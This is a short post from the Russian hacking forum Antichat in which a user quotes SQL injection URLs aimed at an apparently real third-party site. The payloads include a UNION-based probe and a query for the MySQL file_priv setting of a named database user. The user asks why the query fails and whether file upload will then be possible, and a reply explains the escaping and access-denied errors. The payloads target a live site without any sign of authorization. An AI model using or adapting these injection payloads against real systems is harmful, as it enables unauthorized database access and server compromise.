ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от CyberHunter

Скажите как проверить file_priv?
Вот например инъекция:

Код:

http://germanfirms.ru/products.php?id=63+union+select+1+--+

Делаю так:

Код:

http://germanfirms.ru/products.php?id=63+union+select+file_priv+from+mysql.user+where+user='db156426_4'+--+

Не выводит ни 'Y' ни 'N'. Что не так?
И как я понимаю, если будет 'Y', то можно будет залить файл?

Для кого человек это писал? https://forum.antichat.ru/thread104591.html

Цитата:

Сообщение от CyberHunter

Вот именно, что я это прочитал, делаю все как и написано, но ничего не получается.
Что не так делаю?

плохо читал видать

если ошибки

Код:

MySQL server version for the right syntax to use near '\'db156426_4\' --'

Код:

Access denied for user 'db156426_4'@'127.0.0.2' to database 'mysql'

тебе ни о чем не говорят,то я не знаю...